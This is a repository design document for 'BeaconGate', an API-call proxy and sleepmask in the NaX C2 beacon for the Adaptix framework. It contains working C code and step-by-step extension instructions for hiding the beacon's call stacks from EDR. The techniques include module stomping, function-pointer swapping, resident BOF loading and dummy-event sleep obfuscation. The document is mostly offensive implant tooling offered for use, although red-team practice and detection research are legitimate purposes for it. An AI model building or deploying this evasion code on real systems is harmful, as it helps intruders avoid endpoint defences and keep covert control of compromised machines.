mirror of
https://github.com/MaorSabag/NaX
synced 2026-06-28 15:01:11 +00:00
c0fc8d878b
Position-independent C2 beacon for Adaptix Framework with: - PIC shellcode beacon (PEB walk, FNV1a hashing) - BeaconGate API proxy + WFSO PoC sleepmask (extensible) - BOF execution with module stomping - Malleable C2 profiles with runtime switching - WinHTTP transport (proxy-aware) - Token manipulation (steal, impersonate, create) - TCP tunneling (SOCKS, lportfwd, rportfwd) - SMB pivoting - Stardust UDRL loader with module stomping
519 lines
23 KiB
Markdown
519 lines
23 KiB
Markdown
# BeaconGate & Sleepmask
|
|
|
|
BeaconGate is an API call proxy that routes sensitive WinAPI calls through a sleepmask BOF instead of calling them directly from beacon code. This ensures the beacon's call stack never appears in EDR telemetry for intercepted API calls.
|
|
|
|
## How It Works
|
|
|
|
### The Problem
|
|
|
|
When the beacon calls `Sleep()`, the call stack shows beacon code sitting in private (PRV) memory calling kernel32. EDR tools flag this - legitimate threads sleep from image-backed (IMG) code, not from anonymous shellcode regions.
|
|
|
|
### The Solution
|
|
|
|
Instead of calling `Sleep()` directly, the beacon calls a **gate wrapper** (`NaxGateSleep`) which builds a `FUNCTION_CALL` struct describing the intended API call, then routes it through a **sleepmask BOF** loaded into image-backed memory via module stomping. The sleepmask executes the API on the beacon's behalf.
|
|
|
|
```
|
|
Beacon heartbeat loop
|
|
└── Nax->Kernel32.Sleep(ms) // actually calls NaxGateSleep
|
|
└── NaxGateSleep(ms)
|
|
├── builds FUNCTION_CALL { GateApi=SLEEP, FunctionPtr=real_Sleep, Args[0]=ms }
|
|
└── calls Nax->Gate(Nax, &fc) // sleep_mask BOF entry
|
|
└── sleep_mask(NaxPtr, FnCall)
|
|
└── HandleSleep(FnCall)
|
|
└── NtWaitForSingleObject(hEvent, FALSE, &timeout)
|
|
```
|
|
|
|
### Architecture Overview
|
|
|
|
```
|
|
┌─────────────────────┐
|
|
│ Adaptix UI │ ← operator picks gated APIs from a list
|
|
│ BeaconGate tab │
|
|
└────────┬────────────┘
|
|
│ gate_apis = ["Sleep", "WaitForSingleObject", ...]
|
|
▼
|
|
┌─────────────────────┐
|
|
│ Go plugin │ ← emits #define NAX_GATE_SLEEP, NAX_GATE_WAITFORSINGLEOBJECT, ...
|
|
│ pl_build.go │ ← compiles sleepmask BOF → embeds in Config_sleepmask.h
|
|
└────────┬────────────┘
|
|
│
|
|
┌────┴────────────────────────────┐
|
|
│ │
|
|
▼ ▼
|
|
┌────────────────────┐ ┌──────────────────────┐
|
|
│ src_beacon/ │ │ src_sleepmask/ │
|
|
│ Gate.h │ │ Gate.h (own copy) │
|
|
│ Instance.h │ │ main.c │
|
|
│ • NAX_GATE_ │ │ • HandleSleep │
|
|
│ ORIGINALS │ │ • HandleWFSO │
|
|
│ Sleepmask.c │ │ • HandleWFMO │
|
|
│ • gate wrappers │ │ • HandleGeneric │
|
|
│ • NaxSleepmaskInit│ │ │
|
|
│ • NaxSleepmaskWire│ │ │
|
|
└────────────────────┘ └──────────────────────┘
|
|
▲ struct layout must match ▲
|
|
```
|
|
|
|
### Naming Convention
|
|
|
|
All compile-time gate flags follow the rule:
|
|
|
|
```
|
|
#define NAX_GATE_<TOUPPER(FunctionName)>
|
|
```
|
|
|
|
| Win32 Function | Config.h Define |
|
|
|----------------|-----------------|
|
|
| `Sleep` | `NAX_GATE_SLEEP` |
|
|
| `WaitForSingleObject` | `NAX_GATE_WAITFORSINGLEOBJECT` |
|
|
| `WaitForMultipleObjects` | `NAX_GATE_WAITFORMULTIPLEOBJECTS` |
|
|
| `VirtualProtect` | `NAX_GATE_VIRTUALPROTECT` |
|
|
|
|
The Go plugin auto-derives the define from the function name (`strings.ToUpper(name)`), so no lookup table is needed. The operator types the exact Win32 function name in the UI list and the code-side `#ifdef` guard uses the uppercase version.
|
|
|
|
### Key Components
|
|
|
|
**`GATE_API` enum** (`include/Gate.h`):
|
|
```c
|
|
typedef enum _GATE_API {
|
|
GATE_API_GENERIC = 0x00,
|
|
GATE_API_SLEEP = 0x01,
|
|
GATE_API_WAIT_FOR_SINGLE_OBJECT = 0x02,
|
|
GATE_API_WAIT_FOR_MULTIPLE_OBJECTS = 0x03,
|
|
} GATE_API;
|
|
```
|
|
|
|
**`FUNCTION_CALL` struct** (`include/Gate.h`):
|
|
```c
|
|
typedef struct _FUNCTION_CALL {
|
|
PVOID FunctionPtr; // target API address
|
|
UINT32 GateApi; // GATE_API tag for dispatch
|
|
UINT32 NumArgs; // argument count (0-10)
|
|
ULONG_PTR Args[10]; // arguments
|
|
ULONG_PTR RetValue; // return value passed back to beacon
|
|
} FUNCTION_CALL;
|
|
```
|
|
|
|
**`NAX_GATE_ORIGINALS` struct** (`include/Instance.h`):
|
|
```c
|
|
typedef struct {
|
|
PVOID Sleep;
|
|
PVOID WaitForSingleObject;
|
|
PVOID WaitForMultipleObjects;
|
|
PVOID VirtualProtect;
|
|
} NAX_GATE_ORIGINALS;
|
|
```
|
|
|
|
**`NAX_GATE_SWAP_TABLE`** (`include/Instance.h`):
|
|
```c
|
|
#define NAX_GATE_MAX_SWAPS 8
|
|
|
|
typedef struct {
|
|
PVOID* Slot;
|
|
PVOID Original;
|
|
} NAX_GATE_SWAP;
|
|
|
|
typedef struct {
|
|
NAX_GATE_SWAP Entries[NAX_GATE_MAX_SWAPS];
|
|
UINT32 Count;
|
|
} NAX_GATE_SWAP_TABLE;
|
|
```
|
|
|
|
`NAX_GATE_ORIGINALS` holds the real API addresses for per-API handler dispatch. The swap table (`GateSwaps` field in `NAX_INSTANCE`) tracks all gate registrations for dynamic unwiring via `NaxGateUnwireAll()`. Separate from the per-DLL structs (`NAX_KERNEL32`, etc.) to keep gate concerns isolated. Accessed as `Nax->GateOriginals.Sleep`, etc.
|
|
|
|
**Gate wrappers** (`src_beacon/src/Commands/Sleepmask.c`):
|
|
- `NaxGateSleep()` - replaces `Nax->Kernel32.Sleep`
|
|
- `NaxGateWaitForSingleObject()` - replaces `Nax->Kernel32.WaitForSingleObject`
|
|
- `NaxGateWaitForMultipleObjects()` - replaces `Nax->Kernel32.WaitForMultipleObjects`
|
|
- Each wrapper sets `GateApi` to the correct enum value and reads `FunctionPtr` from `GateOriginals`
|
|
|
|
**Sleepmask BOF** (`src_sleepmask/src/main.c`):
|
|
- Compiled as a COFF `.o` file, loaded by the beacon's BOF loader
|
|
- Runs from image-backed memory (module-stomped DLL `.text`)
|
|
- Entry point: `sleep_mask(void* NaxPtr, PFUNCTION_CALL FnCall)`
|
|
- Dispatches on `FnCall->GateApi` to per-API handler functions
|
|
- `HandleGeneric()` dispatches arbitrary APIs (0-10 args) via function pointer
|
|
|
|
## Embedded Sleepmask
|
|
|
|
The sleepmask BOF is embedded at build time in `Config_sleepmask.h` as a `NAX_SLEEPMASK_WRITE` macro. During beacon startup (`NaxSleepmaskInit`), the BOF bytes are written to a heap buffer, loaded via `NaxBofLoadResident`, and wired before the first sleep ever executes.
|
|
|
|
This eliminates the "first sleep gap" - there is no window where raw kernel32 Sleep is exposed.
|
|
|
|
### Build Pipeline
|
|
|
|
```
|
|
1. Operator generates payload with BeaconGate enabled
|
|
2. Go plugin compiles src_sleepmask/ → sleepmask.x64.o
|
|
3. Go plugin converts BOF bytes to Config_sleepmask.h (byte-by-byte WRITE macro)
|
|
4. Go plugin generates Config.h with #define NAX_GATE_SLEEP / NAX_GATE_WAITFORSINGLEOBJECT / ...
|
|
5. Beacon compiles with embedded sleepmask
|
|
6. On first run: NaxSleepmaskInit() → heap alloc → WRITE → BofLoadResident → wire gate
|
|
7. First sleep already goes through BeaconGate
|
|
```
|
|
|
|
### Runtime Reload (sleepmask-set)
|
|
|
|
The `sleepmask-set` command rebuilds the sleepmask BOF from source and hot-loads it into a running beacon without redeploying. Use it when iterating on sleepmask logic (e.g., changing sleep obfuscation behavior, adding debug prints).
|
|
|
|
**Workflow:**
|
|
|
|
1. Edit sleepmask source files in `src_sleepmask/`
|
|
2. Run `sleepmask-set` (or `sleepmask-set -debug`) from the Adaptix operator console
|
|
3. The server rebuilds the BOF from source (`make clean && make` in `src_sleepmask/`)
|
|
4. Fresh `.o` bytes are sent to the beacon via `CMD_SLEEPMASK_SET` (0x32)
|
|
5. Beacon calls `NaxSleepmaskWire` → `NaxBofLoadResident` (frees old resident, loads new)
|
|
6. Gate wrappers are re-registered to route through the new `sleep_mask()` entry point
|
|
7. Next sleep cycle uses the updated sleepmask
|
|
|
|
**Flags:**
|
|
|
|
| Flag | Effect |
|
|
|------|--------|
|
|
| (none) | Release build — no debug prints from sleepmask |
|
|
| `-debug` | Debug build (`-DDEBUG`) — sleepmask emits `NaxDbg` prints |
|
|
|
|
**Important:** The beacon must have been built with BeaconGate enabled. Without gate wrappers compiled into the beacon, the BOF loads but nothing routes through it.
|
|
|
|
## Wiring Flow
|
|
|
|
### 1. Beacon starts, resolves APIs
|
|
|
|
Standard PEB walk resolves kernel32 function pointers including `Sleep`, `WaitForSingleObject`, and `WaitForMultipleObjects`.
|
|
|
|
### 2. NaxSleepmaskInit loads embedded BOF
|
|
|
|
Called during beacon init, before the heartbeat loop:
|
|
1. Allocates heap buffer of `NAX_SLEEPMASK_LEN` bytes
|
|
2. Writes embedded BOF bytes via `NAX_SLEEPMASK_WRITE(buf)`
|
|
3. Calls `NaxSleepmaskWire` → `NaxBofLoadResident` (permanent module-stomped load)
|
|
4. Backs up real function pointers to `Nax->GateOriginals.*`
|
|
5. Swaps function pointers to gate wrappers
|
|
6. Frees the temporary buffer (BOF is mapped elsewhere)
|
|
|
|
### 3. Every subsequent call goes through the gate
|
|
|
|
```
|
|
Nax->Kernel32.Sleep(ms)
|
|
→ NaxGateSleep(ms) // gate wrapper
|
|
→ Nax->Gate(Nax, &fc) // sleepmask BOF (image-backed memory)
|
|
→ HandleSleep(FnCall)
|
|
→ NtWaitForSingleObject(hEvent, FALSE, &timeout)
|
|
```
|
|
|
|
## The .refptr Problem
|
|
|
|
On MinGW x86_64, taking a function pointer across translation units generates a `.rdata$.refptr.FuncName` GOT-like section. When only `.text` is extracted for PIC shellcode, this section is lost.
|
|
|
|
**Fix**: All gate wrappers and the code that takes their address (`NaxSleepmaskWire`) live in the **same translation unit** (`Sleepmask.c`). Same-TU references use direct RIP-relative `lea` instructions - no `.refptr` indirection needed.
|
|
|
|
## Configuring BeaconGate
|
|
|
|
### Step 1: Enable in the Adaptix UI
|
|
|
|
1. Open the Adaptix client
|
|
2. Go to **Listeners** → select your HTTP or SMB listener → **Generate Payload**
|
|
3. Click the **BeaconGate** tab
|
|
4. Check **Enable BeaconGate** - this auto-enables:
|
|
- **Module Stomping** (required for image-backed BOF execution)
|
|
- The **Sleepmask DLL** field and gated APIs list become editable
|
|
5. **Sleepmask DLL** (default `msxml6.dll`): the sacrificial DLL for the dedicated sleepmask stomp slot. Must be different from the sync/async BOF DLLs.
|
|
6. The default list includes `Sleep`, `WaitForSingleObject`, `WaitForMultipleObjects`
|
|
6. Add or remove APIs using the text field + `+`/`-` buttons
|
|
7. Generate the payload
|
|
|
|
The UI writes three config keys consumed by the Go plugin:
|
|
- `beacongate` → triggers sleepmask BOF compilation + embedding
|
|
- `sm_stomp_dll` → DLL for the dedicated sleepmask stomp slot (separate from sync/async BOFs)
|
|
- `gate_apis` → list of function names → each becomes `#define NAX_GATE_TOUPPER(name)` in Config.h
|
|
|
|
### Step 2: Verify in Debug Build
|
|
|
|
With a debug beacon, look for these log lines at startup:
|
|
|
|
```
|
|
[sleepmask] init: embedding 3594 bytes
|
|
[sleepmask] gated: Sleep (real=00007FFxxxxx)
|
|
[sleepmask] gated: WaitForSingleObject (real=00007FFxxxxx)
|
|
[sleepmask] gated: WaitForMultipleObjects (real=00007FFxxxxx)
|
|
[sleepmask] wired: gate=00007FFxxxxx
|
|
```
|
|
|
|
And on each sleep cycle:
|
|
|
|
```
|
|
[gate] Sleep(5000 ms)
|
|
[sleepmask] GateApi=0x01 NumArgs=1 FunctionPtr=00007FFxxxxx
|
|
[sleepmask] Sleep -> NtWaitForSingleObject(hEvent, 5000 ms)
|
|
[sleepmask] woke up
|
|
```
|
|
|
|
---
|
|
|
|
## Adding a New Gated API
|
|
|
|
This section walks through adding a new API to BeaconGate end-to-end. We'll use `VirtualProtect` as the example.
|
|
|
|
### Step 1: Add the GATE_API enum value
|
|
|
|
Edit **both** Gate.h files (they must stay in sync):
|
|
|
|
**`src_beacon/include/Gate.h`** and **`src_sleepmask/include/Gate.h`**:
|
|
|
|
```c
|
|
typedef enum _GATE_API {
|
|
GATE_API_GENERIC = 0x00,
|
|
GATE_API_SLEEP = 0x01,
|
|
GATE_API_WAIT_FOR_SINGLE_OBJECT = 0x02,
|
|
GATE_API_WAIT_FOR_MULTIPLE_OBJECTS = 0x03,
|
|
GATE_API_VIRTUAL_PROTECT = 0x04, // ← new
|
|
} GATE_API;
|
|
```
|
|
|
|
Pick the next unused hex value. The enum tag is how the sleepmask knows which handler to call.
|
|
|
|
### Step 2: Add the backup pointer
|
|
|
|
**`src_beacon/include/Instance.h`** - add the original function pointer to `NAX_GATE_ORIGINALS`:
|
|
|
|
```c
|
|
typedef struct {
|
|
PVOID Sleep;
|
|
PVOID WaitForSingleObject;
|
|
PVOID WaitForMultipleObjects;
|
|
PVOID VirtualProtect; // ← new
|
|
} NAX_GATE_ORIGINALS;
|
|
```
|
|
|
|
This struct is separate from the per-DLL structs and lives in `NAX_INSTANCE` as `GateOriginals`.
|
|
|
|
### Step 3: Write the gate wrapper in Sleepmask.c
|
|
|
|
**`src_beacon/src/Commands/Sleepmask.c`** - add the gate wrapper function, guarded by a compile-time `#ifdef` using the naming convention `NAX_GATE_` + `TOUPPER(FunctionName)`:
|
|
|
|
```c
|
|
#ifdef NAX_GATE_VIRTUALPROTECT
|
|
FUNC BOOL WINAPI NaxGateVirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) {
|
|
G_INSTANCE;
|
|
|
|
NaxDbg( Nax, "[gate] VirtualProtect(%p, %zu, 0x%lx)", lpAddress, dwSize, flNewProtect );
|
|
|
|
FUNCTION_CALL fc;
|
|
MmZero( &fc, sizeof( fc ) );
|
|
|
|
fc.FunctionPtr = Nax->GateOriginals.VirtualProtect;
|
|
fc.GateApi = GATE_API_VIRTUAL_PROTECT;
|
|
fc.NumArgs = 4;
|
|
fc.Args[0] = (ULONG_PTR)lpAddress;
|
|
fc.Args[1] = (ULONG_PTR)dwSize;
|
|
fc.Args[2] = (ULONG_PTR)flNewProtect;
|
|
fc.Args[3] = (ULONG_PTR)lpflOldProtect;
|
|
|
|
((FN_SM_ENTRY)Nax->Gate)( Nax, &fc );
|
|
|
|
return (BOOL)fc.RetValue;
|
|
}
|
|
#endif
|
|
```
|
|
|
|
**Critical rules:**
|
|
- The wrapper **must** be in `Sleepmask.c` (same TU as the wiring code) to avoid the `.refptr` problem
|
|
- Match the original API's exact signature and calling convention
|
|
- Set `GateApi` to your new enum value
|
|
- Read `FunctionPtr` from `Nax->GateOriginals.VirtualProtect`, not the swapped pointer
|
|
|
|
### Step 4: Wire the gate in NaxSleepmaskWire
|
|
|
|
In the same file, add the wiring block inside `NaxSleepmaskWire()`:
|
|
|
|
```c
|
|
#ifdef NAX_GATE_VIRTUALPROTECT
|
|
if ( !Nax->GateOriginals.VirtualProtect )
|
|
Nax->GateOriginals.VirtualProtect = (PVOID)Nax->Kernel32.VirtualProtect;
|
|
NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.VirtualProtect, (PVOID)NaxGateVirtualProtect );
|
|
NaxDbg( Nax, "[sleepmask] gated: VirtualProtect (real=%p)", Nax->GateOriginals.VirtualProtect );
|
|
#endif
|
|
```
|
|
|
|
This records the swap in the gate swap table (so `NaxGateUnwireAll()` can restore it) and swaps the function pointer to the gate wrapper.
|
|
|
|
### Step 5: Add the sleepmask handler
|
|
|
|
**`src_sleepmask/src/main.c`** - add a handler function and a case in the dispatcher:
|
|
|
|
```c
|
|
/* ========= [ BOF imports ] ========= */
|
|
__declspec(dllimport) BOOL WINAPI KERNEL32$VirtualProtect( LPVOID, SIZE_T, DWORD, PDWORD );
|
|
#define VirtualProtect KERNEL32$VirtualProtect
|
|
|
|
/* ========= [ per-API handlers ] ========= */
|
|
static void HandleVirtualProtect( PFUNCTION_CALL FnCall ) {
|
|
LPVOID lpAddress = (LPVOID)FnCall->Args[0];
|
|
SIZE_T dwSize = (SIZE_T)FnCall->Args[1];
|
|
DWORD flNewProtect = (DWORD)FnCall->Args[2];
|
|
PDWORD lpflOldProtect = (PDWORD)FnCall->Args[3];
|
|
|
|
BOOL ret = VirtualProtect( lpAddress, dwSize, flNewProtect, lpflOldProtect );
|
|
FnCall->RetValue = (ULONG_PTR)ret;
|
|
}
|
|
|
|
/* ========= [ entry point ] ========= */
|
|
void sleep_mask( void* NaxPtr, PFUNCTION_CALL FnCall ) {
|
|
switch ( FnCall->GateApi ) {
|
|
case GATE_API_SLEEP: HandleSleep( FnCall ); return;
|
|
case GATE_API_WAIT_FOR_SINGLE_OBJECT: HandleWaitForSingleObject( FnCall ); return;
|
|
case GATE_API_WAIT_FOR_MULTIPLE_OBJECTS: HandleWaitForMultipleObjects( FnCall ); return;
|
|
case GATE_API_VIRTUAL_PROTECT: HandleVirtualProtect( FnCall ); return;
|
|
default: HandleGeneric( FnCall ); return;
|
|
}
|
|
}
|
|
```
|
|
|
|
If the API doesn't need special handling, you can skip the dedicated handler and let it fall through to `HandleGeneric` - the generic dispatcher calls the function pointer with the correct number of args based on `NumArgs`. Dedicated handlers are for APIs that need custom behavior (e.g., the Sleep handler's dummy event technique). If you want to plug in your own sleep obfuscation technique, `HandleSleep` is the right place to start.
|
|
|
|
### Step 6: Add the name to the UI list (no code changes needed)
|
|
|
|
Because the UI uses a list widget, the operator simply types the function name in the BeaconGate tab. The Go plugin auto-derives `#define NAX_GATE_VIRTUALPROTECT` from `"VirtualProtect"` via `strings.ToUpper()`. No changes needed in `pl_build.go` or `pl_main.go`.
|
|
|
|
### Summary: All Files to Touch
|
|
|
|
| File | What to add |
|
|
|------|-------------|
|
|
| `src_beacon/include/Gate.h` | New `GATE_API_*` enum value |
|
|
| `src_sleepmask/include/Gate.h` | Same enum value (keep in sync) |
|
|
| `src_beacon/include/Instance.h` | `PVOID FunctionName;` in `NAX_GATE_ORIGINALS` |
|
|
| `src_beacon/src/Commands/Sleepmask.c` | `#ifdef NAX_GATE_TOUPPER` gate wrapper + `NaxGateRegister()` wiring |
|
|
| `src_sleepmask/src/main.c` | BOF import + handler function + switch case |
|
|
|
|
Note: **no Go plugin or AxScript changes needed** - the list-based UI and dynamic `TOUPPER()` conversion handle any function name automatically.
|
|
|
|
### When to Use HandleGeneric vs. a Dedicated Handler
|
|
|
|
- **HandleGeneric**: The API is called normally with its real function pointer. Use when you just want clean call stacks without changing behavior. Most APIs belong here.
|
|
- **Dedicated handler**: The API needs special behavior — for example, `HandleSleep` creates a dummy event and waits on it via `NtWaitForSingleObject` instead of calling `Sleep` directly. Write a dedicated handler when you need to modify the call itself or implement your own sleep obfuscation logic.
|
|
|
|
If you don't write a handler, the `default:` case in the sleepmask dispatcher routes to `HandleGeneric`, which calls the function pointer with the correct number of args based on `NumArgs`. You still need the gate wrapper on the beacon side (to intercept the call and build FUNCTION_CALL), but the sleepmask side "just works."
|
|
|
|
---
|
|
|
|
## BOF Symbol Resolution
|
|
|
|
The sleepmask is a standard BOF. External symbols use the `MODULE$FUNCTION` convention:
|
|
|
|
```c
|
|
__declspec(dllimport) DWORD WINAPI KERNEL32$WaitForSingleObject( HANDLE, DWORD );
|
|
#define WaitForSingleObject KERNEL32$WaitForSingleObject
|
|
```
|
|
|
|
The beacon's COFF loader splits on `$`, calls `LoadLibraryA(module)` + `GetProcAddress(function)` to resolve each symbol at load time.
|
|
|
|
## Resident BOF Loading & Dedicated SmSlot
|
|
|
|
Unlike normal BOFs which are loaded, executed, and freed, the sleepmask uses **resident loading** (`NaxBofLoadResident`). The BOF stays mapped in memory permanently because beacon calls it on every heartbeat.
|
|
|
|
### The Problem: Slot Contention
|
|
|
|
Previously the sleepmask occupied the sync stomp slot, blocking all regular sync BOFs from module stomping. When a command BOF ran (e.g., whoami), it couldn't stomp because the sync slot was permanently occupied → fell back to private memory → call stacks showed PRV addresses.
|
|
|
|
### The Fix: Dedicated Sleepmask Stomp Slot (SmSlot)
|
|
|
|
The `BOF_STOMP_POOL` now has a dedicated `SmSlot` exclusively for the resident sleepmask BOF. It is loaded from a separate DLL (configurable as "Sleepmask DLL" in the BeaconGate tab, default `msxml6.dll`).
|
|
|
|
```c
|
|
typedef struct {
|
|
BOF_STOMP_SLOT SyncSlot; // regular sync BOFs
|
|
BOF_STOMP_SLOT AsyncSlots[]; // async BOF jobs
|
|
BOF_STOMP_SLOT SmSlot; // ← dedicated sleepmask slot
|
|
BYTE SmStompReq; // flag: route next stomp ops to SmSlot
|
|
} BOF_STOMP_POOL;
|
|
```
|
|
|
|
**How it works:**
|
|
1. `NaxBofStompInit` initializes SmSlot from `Config.SmStompDll` (a separate DLL from sync/async)
|
|
2. `NaxBofLoadResident` sets `SmStompReq=TRUE` before allocating
|
|
3. All stomp functions (`Alloc`, `Protect`, `Pdata`, `Free`) check `SmStompReq` first and pick SmSlot
|
|
4. After loading, `SmStompReq` is cleared - SmSlot.InUse stays TRUE permanently
|
|
5. Regular BOFs never see SmSlot, so the sync slot remains free
|
|
|
|
**Result:** The sleepmask runs from its own image-backed DLL (clean call stack), and sync/async BOF stomping works normally alongside it.
|
|
|
|
## Sleep Obfuscation
|
|
|
|
The sleepmask supports optional sleep obfuscation selected at build time via the operator UI's **SleepObf** combo box.
|
|
|
|
### WFSO PoC (SleepObf=On)
|
|
|
|
When `SleepObf` is enabled, `HandleSleep` replaces the direct `Sleep` call with a dummy-event wait via native NT APIs. This ensures the sleeping thread's call stack originates from `ntdll` rather than `kernel32`, and the wait target is a transient event handle rather than the process pseudo-handle.
|
|
|
|
**Implementation** (`src_sleepmask/src/main.c`):
|
|
|
|
```c
|
|
static void HandleSleep( PFUNCTION_CALL FnCall ) {
|
|
DWORD ms = (DWORD)FnCall->Args[0];
|
|
|
|
// Convert milliseconds to a negative 100ns LARGE_INTEGER
|
|
LARGE_INTEGER timeout;
|
|
timeout.QuadPart = -((LONGLONG)ms * 10000);
|
|
|
|
// Create a one-shot dummy event (auto-reset, non-signalled)
|
|
HANDLE hEvent = NULL;
|
|
NtCreateEvent( &hEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE );
|
|
|
|
// Wait on the dummy event — it will never be signalled, so this
|
|
// blocks for exactly `timeout` before returning STATUS_TIMEOUT
|
|
NtWaitForSingleObject( hEvent, FALSE, &timeout );
|
|
|
|
NtClose( hEvent );
|
|
}
|
|
```
|
|
|
|
`HandleWaitForSingleObject` and `HandleWaitForMultipleObjects` are pass-throughs: they call `NtWaitForSingleObject` (or `WaitForMultipleObjects`) directly on the original handle. `HandleVirtualProtect` calls `VirtualProtect` directly. `HandleGeneric` dispatches up to 10 args via a function pointer cast.
|
|
|
|
**When SleepObf=Off:** `HandleSleep` falls through to `HandleGeneric`, which calls the real `Sleep` function pointer via `FnCall->FunctionPtr` with the original arguments. Behavior is identical to calling Sleep directly, except the call originates from image-backed memory.
|
|
|
|
**`NAX_SM_CONFIG`** (shared config struct between beacon and sleepmask):
|
|
|
|
```c
|
|
typedef struct {
|
|
UINT8 SleepObf; // 0 = off, 1 = on
|
|
UINT8 _pad[3];
|
|
} NAX_SM_CONFIG;
|
|
```
|
|
|
|
**Extending this:** `HandleSleep` is the designated extension point for sleep obfuscation. Replace its body with your own technique — timer queues, APC chains, or anything else — without touching the gate wiring or any other handler. The rest of the architecture stays the same.
|
|
|
|
### Operator Configuration
|
|
|
|
In the Adaptix UI payload generation dialog:
|
|
|
|
| Field | Values | Effect |
|
|
|-------|--------|--------|
|
|
| **SleepObf** | Off / On | Enables WFSO dummy-event sleep obfuscation |
|
|
| **Sleepmask DLL** | e.g. `msxml6.dll` | Sacrificial DLL for the sleepmask's dedicated stomp slot |
|
|
|
|
The `sleepobf-config` command can toggle sleep obfuscation at runtime:
|
|
|
|
```
|
|
sleepobf-config {sleep_obf}
|
|
```
|
|
|
|
Where `{sleep_obf}` is `on` or `off`.
|
|
|
|
## Files
|
|
|
|
| File | Role |
|
|
|------|------|
|
|
| `src_beacon/include/Gate.h` | `GATE_API` enum, `FUNCTION_CALL` struct, `FN0`-`FN10` typedefs |
|
|
| `src_beacon/include/Config.h` | `SleepObf` config field |
|
|
| `src_beacon/include/Config_sleepmask.h` | Sleepmask config struct shared with beacon (`NAX_SM_CONFIG`) |
|
|
| `src_beacon/include/Instance.h` | `NAX_GATE_ORIGINALS` struct, `Gate` entry pointer in NAX_INSTANCE |
|
|
| `src_beacon/src/Commands/Sleepmask.c` | Gate wrappers + `NaxSleepmaskInit` + `NaxSleepmaskWire` + runtime reload |
|
|
| `src_beacon/src/Commands/Dispatch.c` | Routes `CMD_SLEEPMASK_SET` to handler |
|
|
| `src_beacon/src/Main.c` | Calls `NaxSleepmaskInit()` at startup |
|
|
| `src_sleepmask/include/Gate.h` | Sleepmask-local copy of `GATE_API` enum and `FUNCTION_CALL` struct (must stay in sync with beacon's) |
|
|
| `src_sleepmask/include/Imports.h` | Sleepmask BOF import declarations |
|
|
| `src_sleepmask/src/main.c` | Sleepmask BOF entry (`sleep_mask`), per-API handlers, `HandleGeneric` dispatcher |
|
|
| `src_server/agent_nonameax/pl_build.go` | Config.h generation with `NAX_GATE_TOUPPER` defines + `Config_sleepmask.h` |
|
|
| `src_server/agent_nonameax/pl_main.go` | Reads `gate_apis` list, builds sleepmask BOF, embeds in payload |
|
|
| `src_server/agent_nonameax/ax_config.axs` | BeaconGate UI tab, SleepObf config, `sleepmask-set` command |
|